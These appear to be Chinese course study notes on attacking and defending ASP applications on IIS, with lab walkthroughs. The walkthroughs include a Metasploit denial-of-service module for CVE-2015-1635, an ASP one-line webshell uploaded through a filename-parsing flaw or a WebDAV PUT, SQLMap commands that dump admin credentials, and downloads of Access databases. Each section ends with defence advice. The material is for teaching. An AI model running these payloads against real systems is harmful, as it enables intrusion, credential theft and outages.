第四十一天学习笔记:WEB攻防(ASP应用与IIS中间件漏洞实战)
一、核心知识点总览
本节课聚焦 ASP应用+IIS中间件 的WEB攻防,核心围绕三类高频漏洞展开:
- ASP-MDB数据库泄漏:Access数据库因路径固定、无需配置,易被直接下载导致敏感信息泄露;
- IIS中间件漏洞:含HTTP.SYS远程漏洞(CVE-2015-1635)、短文件猜解、文件解析漏洞、写权限滥用;
- ASP-Access注入:利用SQLMap自动化挖掘注入点,获取数据库账号密码,进而登录后台植入木马。
二、ASP默认风险:MDB数据库泄漏下载
ASP应用常搭配 Access数据库(.mdb文件),其核心风险是"数据库无需额外连接配置,路径固定时可直接远程下载",相当于"把钥匙放在门垫下,知道位置就能拿"。
2.1 漏洞原理
- Access数据库无需安装数据库服务,仅需在ASP脚本中配置文件路径(如dbpath="/database/#data.mdb")即可使用;
- 若路径未修改(默认路径)且未限制访问权限,攻击者通过URL直接请求该路径,即可下载.mdb文件,解密后获取用户名、密码等敏感数据。
2.2 实战步骤(以Windows 2003+IIS 6.0为例)
步骤1:搭建测试环境
- 启动Windows 2003虚拟机,打开"Internet信息服务(IIS)管理器"(右键"我的电脑"→"管理"→"服务和应用程序");
- 找到目标ASP网站(如fyblogs_3.0),记录其绑定的IP地址(如192.168.200.140:81)。
步骤2:远程下载MDB文件
-
在攻击机浏览器中访问网站,确认网站可正常打开;
-
拼接数据库默认路径(需URL编码特殊字符,如#编码为%23),直接请求:
http://192.168.200.140:81/database/%23data.mdb -
浏览器会自动下载#data.mdb文件(若未下载,说明路径错误或有访问限制)。
步骤3:解析数据库文件
- 用Access软件或数据库查看工具(如"MDB Viewer")打开下载的.mdb文件;
- 直接查看admin等核心表,获取明文或加密的用户名/密码(如admin/123456)。
常见问题与解决
| 问题现象 | 原因 | 解决方法 |
|---|---|---|
| 访问URL提示"404未找到" | 数据库路径已修改(非默认) | 用目录扫描工具(如御剑、7kbscan)猜解路径 |
| 下载后文件无法打开 | 文件被加密或损坏 | 尝试用工具(如"Access密码破解器")解密 |
2.3 防御建议
- 修改默认路径:将.mdb文件放在IIS网站根目录外(如C:\db\#data.mdb),ASP脚本中通过绝对路径调用;
- 隐藏文件后缀:将.mdb文件改名为.asp(如#data.asp),下载后会被IIS解析为脚本,无法直接查看数据;
- 限制访问权限:在IIS中给database目录添加"拒绝匿名访问",仅允许ASP脚本通过服务器本地读取。
三、IIS中间件漏洞:从DOS到木马植入
IIS是ASP应用的常用中间件,不同版本存在多种漏洞,攻击者可通过这些漏洞实现拒绝服务、文件读取甚至植入木马。
3.1 漏洞1:HTTP.SYS远程DOS漏洞(CVE-2015-1635)
核心信息
- 漏洞描述:HTTP.sys(Windows HTTP协议堆栈)未正确解析特殊HTTP请求,导致远程攻击者可在系统账户上下文执行代码或触发DOS(系统蓝屏);
- 影响版本:Windows 7/Server 2008 R2/8/Server 2012/8.1/Server 2012 R2;
- 利用场景:无需登录,仅需目标开放HTTP端口(如80、81)。
实战步骤(用Metasploit)
-
启动MSF控制台(Kali或Windows下的MSF):
msfconsole -
加载针对CVE-2015-1635的DOS模块:
use auxiliary/dos/http/ms15_034_ulonglongadd -
配置目标IP和端口:
set rhosts 192.168.200.140 # 目标IIS服务器IP set rport 81 # 目标HTTP端口 -
执行攻击,目标会蓝屏重启(DOS效果):
run
防御建议
- 立即安装Windows安全补丁(如KB3042553);
- 关闭不必要的HTTP端口,仅开放业务必需端口;
- 在防火墙中限制外部IP对IIS端口的访问。
3.2 漏洞2:IIS短文件猜解漏洞
核心信息
- 漏洞原理:Windows为兼容16位DOS程序,会给长文件名生成 8.3格式短名(如Database→DATA~1),IIS默认返回短名存在性,攻击者可通过工具猜解敏感文件/目录;
- 影响版本:IIS 6.0/7.0/7.5/8.0/8.1;
- 利用场景:获取后台路径(如Admin~1→AdminLogin)、数据库路径(如Data~1→Database)。
实战步骤
-
下载工具(lijiejie的IIS短文件扫描器):
-
在攻击机执行扫描命令,目标为IIS网站根目录:
python iis_shortname_scan.py http://192.168.200.140:88/ -
工具会输出猜解到的短名(如ADMIN~1→推测为后台目录,DATA~1→推测为数据库目录);
防御建议
- 禁用Windows 8.3文件名格式(修改注册表):
路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,将NtfsDisable8dot3NameCreation设为1; - 在IIS中配置"自定义404页面",避免泄露文件存在性;
- 敏感目录名避免使用长名(如直接用Admin而非AdminLoginPage)。
3.3 漏洞3:IIS文件解析漏洞
核心信息
- 漏洞原理:IIS对特殊格式文件名的解析规则存在缺陷,可将非ASP文件解析为ASP脚本执行,配合文件上传漏洞可植入木马;
- 影响版本:IIS 6.0(高危)、IIS 7.x(低危)。
不同版本实战差异
| IIS版本 | 解析规则 | 利用示例(上传木马) |
|---|---|---|
| 6.0 | 1. 忽略分号后内容(.asp;.jpg→解析为.asp) 2. .asp目录下所有文件均解析为.asp | 1. 上传1.asp;.jpg(内含ASP一句话木马) 2. 创建1.asp目录,上传logo.jpg(内含木马) |
| 7.x | 路径后加/xx.php(/1.jpg/xx.php→解析为.php) | 上传1.jpg(内含PHP木马),访问http://目标/1.jpg/xx.php |
实战步骤(以IIS 6.0为例)
-
准备ASP一句话木马(<%eval request("pass")%>,"pass"为连接密码);
-
将木马文件命名为1.asp;.jpg,通过网站上传功能上传(假设上传路径为/upload/);
-
访问上传后的文件,IIS会将其解析为ASP脚本:
http://192.168.200.140:89/upload/1.asp;.jpg -
用webshell管理工具(如哥斯拉),输入URL和密码"pass",即可获取服务器权限。
防御建议
- 升级IIS到最新版本,关闭不必要的解析规则;
- 限制上传目录的执行权限(IIS中设置"无脚本");
- 过滤上传文件名中的特殊字符(如;、/),仅允许jpg、png等白名单后缀。
3.4 漏洞4:IIS写权限滥用(WebDAV开启)
核心信息
- 漏洞原理:若IIS开启WebDAV服务且配置"允许PUT方法",攻击者可直接向服务器写入文件(如ASP木马);
- 影响版本:所有支持WebDAV的IIS版本;
- 利用场景:无文件上传功能时,直接写入木马。
实战步骤(用Postman)
-
验证目标是否开启WebDAV:发送OPTIONS请求,若响应头含DAV: 1,2,说明已开启;
-
用Postman发送PUT请求,向目标写入ASP木马(文件名为shell.asp):
- 请求方法:PUT
- 请求URL:http://192.168.200.140:81/shell.asp
- 请求体:<%eval request("pass")%>
-
若响应状态码为201 Created,说明写入成功;
防御建议
- 关闭WebDAV服务(IIS管理器→网站→"WebDAV创作规则"→禁用);
- 限制HTTP方法,仅允许GET、POST,拒绝PUT、DELETE;
- 给网站目录设置"只读"权限,禁止写入。
四、ASP-SQL注入:Access数据库与SQLMap实战
Access数据库无账号密码,结构简单(表→列→数据),攻击者可通过SQL注入获取核心数据,进而登录后台。
4.1 漏洞原理
ASP脚本若直接拼接SQL语句(未过滤用户输入),会导致注入漏洞。例如:
' 危险代码:直接用classid参数拼接SQL
sql = "select * from pic where classid=" & request("classid")
攻击者可构造classid=3 and 1=2 union select 1,2,3,猜解字段数并获取数据。
4.2 实战步骤(用SQLMap)
步骤1:确认注入点
目标URL:http://192.168.200.140:89/Pic.asp?classid=3(classid为注入参数)。
步骤2:用SQLMap获取数据库表名
# --tables:获取所有表名
python sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --tables
执行后会列出Access数据库的表(如admin、pic,admin表大概率存账号密码)。
步骤3:获取admin表的列名
# -T admin:指定表名;--columns:获取该表的列名
python sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" -T admin --columns
执行后会列出admin表的列(如username、password)。
步骤4:导出账号密码数据
# -C "username,password":指定列名;--dump:导出数据
python sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" -T admin -C "username,password" --dump
执行后会显示username和password(password可能为MD5加密,需用工具解密,如"MD5在线解密")。
步骤5:找到后台登录页并登录
- 用IIS短文件扫描器或目录扫描工具(御剑),找到后台路径(如http://192.168.200.140:89/Tcnet/Admin_Login.asp);
- 输入解密后的用户名/密码,登录后台;
- 后续可通过后台"文件上传"功能,植入木马(如利用IIS解析漏洞)。
4.3 防御建议
- 过滤用户输入:用Replace函数过滤SQL关键字(如'、union、and);
- 使用参数化查询:Access支持ADODB.Command参数化,避免直接拼接SQL;
- 最小权限:ASP脚本运行账号仅授予"读取"权限,禁止修改/删除数据库。
五、总结:ASP+IIS攻防核心清单
| 漏洞类型 | 利用关键 | 防御核心 |
|---|---|---|
| MDB数据库泄漏 | 默认路径+直接下载 | 改路径+隐藏后缀+限权限 |
| HTTP.SYS(CVE-2015-1635) | MSF DOS模块+目标HTTP端口 | 装补丁+防火墙限制 |
| IIS短文件 | 8.3短名+扫描工具 | 禁用短名+自定义404 |
| IIS解析漏洞 | 特殊文件名(.asp;.jpg)+上传 | 限上传后缀+禁目录执行权限 |
| IIS写权限(WebDAV) | PUT方法+写入木马 | 关WebDAV+禁PUT方法 |
| Access注入 | SQLMap自动化+猜解表列 | 过滤输入+参数化查询 |
结尾交付物提议
ASP+IIS漏洞防御 Checklist
本清单按"高危优先、操作落地"原则整理,覆盖ASP+IIS环境核心漏洞,每个防御点含"操作步骤+验证方法",可直接用于测试/运维自查。
一、MDB数据库泄漏防御(高危)
| 防御点 | 操作步骤 | 验证方法 |
|---|---|---|
| 1. 修改默认数据库路径 | 1. 将.mdb文件移至IIS网站根目录外(如C:\DB\#data.mdb,而非C:\inetpub\wwwroot\database); 2. 在ASP脚本中用绝对路径调用:dbpath="C:\DB\#data.mdb"。 | 访问原默认路径(如http://IP/database/%23data.mdb),应返回404。 |
| 2. 隐藏数据库文件后缀 | 将.mdb后缀改为.asp(如#data.mdb→#data.asp),ASP脚本调用路径同步修改。 | 下载修改后的文件(http://IP/DB/#data.asp),会被IIS解析为脚本(显示乱码/报错),无法直接查看数据。 |
| 3. 限制数据库目录权限 | 1. 打开IIS管理器→找到database(或存放数据库的目录)→右键"属性"→"目录安全性"; 2. 点击"编辑"(匿名访问和身份验证控制)→取消"匿名访问"→确定。 | 匿名用户访问数据库路径,应弹出登录验证框(401未授权)。 |